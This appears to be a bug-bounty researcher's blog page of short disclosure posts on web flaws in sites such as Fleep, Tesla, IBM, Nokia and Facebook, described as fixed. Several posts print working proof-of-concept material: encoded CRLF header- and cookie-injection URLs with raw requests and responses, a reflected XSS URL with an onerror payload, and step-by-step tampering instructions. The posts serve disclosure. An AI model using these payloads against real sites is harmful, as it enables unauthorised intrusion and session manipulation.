Showing posts with label Vulnerability. Show all posts
Showing posts with label Vulnerability. Show all posts

CRLF Injection in Fleep.io

01:16 Posted by Ali Hassan Ghori
ASSALAM O ALAIKUM !

After so long period, writing a Short Disclosure of the recent vulnerability that I have found in Fleep.io. It has been fixed now. So, I can share it.

What is CR & LF?
Carriage return is from the days of the typewriters, abbreviated as CR which would return to the next line and push the paper up. Line feed (LF) signals the end of the line. Together, this sequence can be referred to as CRLF.

What is CRLF Injection?
When Web application do not properly sanitize user input before using it as an HTTP header value then there should be maximum probability of the existence of Vulnerability CRLF Injection (also called Response Splitting and Header Injection). It allows an attacker to control the remaining headers and body of the response the application and also allow them to create additional responses.


Proof  Of Concept:

Request

https://fleep.io/v/ed1202c85b/assets/fleep/%0A%48%65%61%64%65%72%49%6E%6A%65%63%74%65%64%3A%69%6E%6A%65%63%74%65%64%5F%62%79%5F%41%6C%69%5F%48%61%73%73%61%6E%5F%47%68%6F%72%69
GET /v/ed1202c85b/assets/fleep/%0A%48%65%61%64%65%72%49%6E%6A%65%63%74%65%64%3A%69%6E%6A%65%63%74%65%64%5F%62%79%5F%41%6C%69%5F%48%61%73%73%61%6E%5F%47%68%6F%72%69 HTTP/1.1
Host: fleep.io
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


Response

HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Wed, 20 Jan 2016 08:49:12 GMT
Content-Type: text/html
Content-Length: 178
Location: https://fleep.io/v/ed1202c85b/assets/fleep/
HeaderInjected: injected_by_Ali_Hassan_Ghori/
Connection: keep-alive
Expires: Fri, 22 Jan 2016 08:49:12 GMT
Cache-Control: max-age=172800
content-security-policy: default-src 'none'
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
x-content-type-options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: deny







So, here I injected cookie.
Request

https://fleep.io/v/ed1202c85b/assets/fleep/%0A%53%65%74%2D%43%6F%6F%6B%69%65%3A%20%69%6E%6A%65%63%74%65%64%43%6F%6F%6B%69%65%3D%73%65%63%75%72%69%74%79%77%61%6C%6C
GET /v/ed1202c85b/assets/fleep/%0A%53%65%74%2D%43%6F%6F%6B%69%65%3A%20%69%6E%6A%65%63%74%65%64%43%6F%6F%6B%69%65%3D%73%65%63%75%72%69%74%79%77%61%6C%6C HTTP/1.1
Host: fleep.io
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


Response

HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Wed, 20 Jan 2016 09:10:17 GMT
Content-Type: text/html
Content-Length: 178
Location: https://fleep.io/v/ed1202c85b/assets/fleep/
Set-Cookie: injectedCookie=securitywall/
Connection: keep-alive
Expires: Fri, 22 Jan 2016 09:10:17 GMT
Cache-Control: max-age=172800
content-security-policy: default-src 'none'
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
x-content-type-options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: deny









TeslaMotor Cross Site Scripting Vulnerability

13:17 Posted by Ali Hassan Ghori
I found some XSS issue in suppliers.teslamotors.com domain.


Steps To Reproduce:
Note: For Intercepting the Request. I used Firefox Add-on Tamper Data.

1-  Visit: https://suppliers.teslamotors.com/supplier/

2- ​Type username and password in the given fields.

3- Before Click on Login Button, Run TAMPER DATA and start to Tamper.

4- Back to Page, Click on check box "Remember me"

5- Click on Login button. Your request is now tampered by tamper data. replace parameter 'remember-me' value "1" with your {XSS payload}.

6- Click on "OK" Button.

7- XSS Pop Up !!!


Snap Shot:

TeslaMotor Cross Site Scripting Vulnerability


Video PoC:




SquareUp Open Redirection

07:38 Posted by Ali Hassan Ghori
During Password resetting, I observe something, that Password token link is redirected first through subscriptions link. where 'r' is the parameter and value can be any website.
Steps To Reproduce:
1- After Password Reset email, Copy Link Address.


2- Address URI look like this: 
https://squareup.com/subscriptions/r?d=VHZ0CwTM5CMAwfX4&e=/html/body/table/tr/td/table[1]/tr[2]/td/table/tr[2]/td/table/tr[2]/td[2]/table/tr[5]/td/div/a&n=emailClick&r=https://squareup.com/password/reset/Token

Video PoC: 



Remote Presentation Auth_key Issue In Prezi

01:46 Posted by Ali Hassan Ghori
Remote Presentation Auth_key Problem


Let me explain this issue with the following example.






Suppose:


abc is the presentation _ (1)
123 is second presentation. _ (2)

I start remote Presentation of abc. with constant parameter of all presentations ?follow=r_rk7caxdncs , and Auth_key ngwd219. Now I found someone Auth_key, Even every active Auth_key can start Remote Presentation of every work.
The Impact is so clear from the example. I can use Auth_key of abc with 123 presentation or vice versa. or any Active Auth_key can start the presentation.


One more issue is constant follow parameter in every post.

Gist: https://gist.github.com/zsellera/4fe26ee7c546a4d136f4




X-Scanner By The WMA team

X-Scanner is a point'n'shoot web scanner used for fast preliminary tests prior to serious penetration testing. 
This tool works on Windows/.NET platform and on Linux/Mono.







Key Features:
[+] 1. Get Server Info
[+] 2. Check For HttpOnly Flag
[+] 3. Check For XFrame-Options
[+] 4. Check For X-XSS-Protection
[+] 5. Check For X-Content-Type options
[+] 6. Check For SSL/TLS Security
[+] 7. Check For Content Secret Policey
[+] 8. Check For Access Control flaws
[+] 9. Check For X-Download Options
[+] 10. Check For Cache Control Options
[+] 11. Blazing fast TCP Port Scanner and OS Fingerprinting.
[+] 12. One of the fastest WhoIs queries in the market.
Provided here is an example report of the tool.
http://pastebin.com/uu1GcLai
As you *might* have seen, the scan finished in just 10s.
Price:50$
Contact to alihasanghauri5@gmail.com for details and getting a copy.

FB: https://www.facebook.com/alihassanghori5

Thanks.
The WMA team.



Facebook Mark Zuckerberg Password Reset Bug - Not exploitable

12:23 Posted by Ali Hassan Ghori ,
I was looking for a bug in forgot password facebook.

I was send reset password link to my email account through facebook. Open the link and change my id with Mark Zukerberg's Id to 4.





Mark Zukerberg's Id
http://graph.facebook.com/4



I was thought that I have fount something. but its not I've tried this bug using my own accounts (Not Mark Zuckerberg :) and it doesn't allow me to set a new password. The "n" parameter is tied to the "u" parameter. Instead of using Mark Zuckerberg's account



Video POC:


Symphony Fatal Database Error Disclosure - NOKIA

09:18 Posted by Ali Hassan Ghori ,

Here is Ali Hassan Ghori, Back after a long time.

As I have already back to my field so let me share with one of my Nokia finding. While I was finding a Bug in Nokia, I had discovered something Critical that is Symphony Fatal Database Error Disclosure in nokiaconnection.co.uk.

Steps To Reproduce:
1- Visit https://nokiaconnection.co.uk/sign-in/resend-password/ (For exploit In Mozilla Firefox Browser, install a Plugin Tamper Data or You need Burp Suite.)

2- Type single quote (') command in email field, its shows an error. right ? ( something like this 'Please enter a valid email address')

3-  Launch Tamper Data, Tamper the given page. change the email parameter value to  single quote (').

4-  Exploited !!!!
 
Symphony Fatal Database Error Disclosure - NOKIA
Symphony Fatal Database Error Disclosure - NOKIA


Video POC:

IBM Xssed

08:49 Posted by Ali Hassan Ghori ,
I felt Happy when I found Cross Site Scripting Vulnerability in one of the most biggest Company's Site IBM.It is my pleasure that I helped them as a White Hat Web Application Security Researcher.

About IBM
Inventions:
Computing Scale: Used to weigh and price things that any vendor can use.  This invention saved retailers a lot of money.
Universal Product Code: Even though barcodes were dreamed up and patented in the late 1940s and early 1950s, it wasn’t in use until lasers emerged years later that they could be digitally read.  This technology sped up checkouts and improved inventory-keeping.
Their inventions have helped ease the daily life of many people, such as managers, teachers, students, store owners, and many employees. IBM has many other inventions that have made our lives easier and should be greatly appreciated.

It is my Honor that I helped IBM.

btw, here is a Proof Of Concept of Cross Site Scripting Vulnerability in IBM:


Host:  https://www.research.ibm.com
PoC: https://www.research.ibm.com/cgi-bin/haifa/svt/public.pl?group=%22%3E%3Cimg%20src=x%20onerror=prompt%28document.domain%29%3E
Status: Fixed





 

Netflix - Finding Bug

08:01 Posted by Ali Hassan Ghori ,
Netflix has Responsible Disclosure Policy and Hall Of Fame page for those who report a valid bug to them.

For this I am searching for a bug that is Valid and may be not a Duplicate issue. ALHAMDULILLAH ! , It is my luck that the reported issue got Valid and not reported previously by other researcher.

Here is Details:

During  reconnaissance I got a domain (netflixprize.com), now I searching for a bug in it. I noticed that Password data is transmitted over HTTP. I report this issue to Netflix. They accepted it and remove the Login page because there is no more need of Login page in that domain.











Reporting Date: Jan/02/2014
Acknowledgement Date: Jan/02/2014
Issue fixed: Jan/03/2014
Listed Inside Netflix: Jan/04/2014

Ebay Xssed

09:47 Posted by Ali Hassan Ghori ,
I was found Xss in ebay and now i am sharing PoC...

PoC: www.ebay.com/rpp/fashionvault/athletic-shoes-for-him-and-her/


Google Bug Hunting

09:31 Posted by Ali Hassan Ghori ,
Today, i am sharing my Google findings that gives me a great experience.

First,
Xss in html5rocks.com Google acquired Site.

PoC: http://www.html5rocks.com/en/tutorials/#




Second,
Bug in http://rightsflow.com/




I gives a Username and Password, Username field is all correct but in Password field, Password was showing and not marked as Password type.



Password field was defaults set as Text type.

Dell Xssed

11:22 Posted by Ali Hassan Ghori ,
Today, I wanna Show you one of my finding in Dell website.

SonicWall, originally a private company headquartered in San Jose, California, and now owned by Dell, sells a range of Internet appliances primarily directed at content control and network security.





Response:





The issue is now been fixed.



Facebook HTML Injection

03:13 Posted by Ali Hassan Ghori ,

Found a Bug in Facebook 

Hello,
I discovered a Html Injection in m.facebook.com.
Here is a Vulnerable Page.
 
  
I changed the value of parameter error , to Bug Found By ALi Hasan Ghauri

Link:https://m.facebook.com/pages/boosted_post/?pid=154728514671464&sid=317138311763816&
error=Bug%20Found%20By%20ALi%20Hasan%20Ghauri


 Now See


Facebook accepted this bug.


And The Bounty Reward




Thanks Facebook Security Team !!!

 

Ali Hasan Ghauri In Wizehive Special_Thanks Page !

10:01 Posted by Ali Hassan Ghori ,
Well , WizeHive empowers people to get customized business applications up and running in under an hour. These business applications gather any type of data and get work done efficiently.


WizeHive is honored to spotlight the Reearchers for their contributions in making WizeHive safer and their actions benefit the thousands of people who rely on WizeHive every day.

Ali Hasan Ghauri In Wizehive Special_Thanks Page :

http://www.wizehive.com/special_thanks.html

Wizehive-special_thanks-ali-hasan-ghauri


He Got this by reporting two Cross Site Scripting to them :

Wizehive-special_thanks-ali-hasan-ghauri

Wizehive-special_thanks-ali-hasan-ghauri


ALHAMDULILLAH !

Ali Hasan Ghauri got his name In Apple Web Server Notifications second time !

09:41 Posted by Ali Hassan Ghori
Just Got another Big Hall Of Fame Of Apple. Got listed in Second time in Apple Web Server Notifications  , The article provides credit to people who have reported potential security issues in Apple's web Servers.

When I got my first Apple Hall Of Fame with Danish Tariq , Noman Ramzan and all of our friends , it's a truly brotherhood . Well here is Screen Captured !

Ali Hasan Ghauri Apple Hall-Of-Fame

When I got my Name in Apple second time

Ali Hasan Ghauri Apple Hall-Of-Fame

ALHAMDULILLAH !

"Grand Stand 4" [Design for Trade Fair Stands] worth € 69.00 | ALHAMDULILLAH !

09:34 Posted by Ali Hassan Ghori ,
Hi Every One ,

Today is the Awesome Day , Because i just received a 3.0 Kg of Book "Grand Stand 4" [Design for Trade Fair Stands] worth € 69.00 as a reward from Frameweb.com . I was reported some Vulnerabilities to them . Then they replied me (as shown in Screen Shot) .


AHPT ALi Hasan Ghauri Best and Expert in Web Application Security .

Have a Look .


Grand-Stand-4 Ali Hasan Ghauri

Here's the Link : http://www.frameweb.com/books/grand-stand-4


And a Caption.

Frameweb-Books

The weight of this Book is 3.0 Kg and this Book is the latest title in the Grand Stand series presents recent developments in the ever-changing world of stand design.

Ali Hasan Ghauri
Grand-Stand-4


Thanks to the Frameweb Team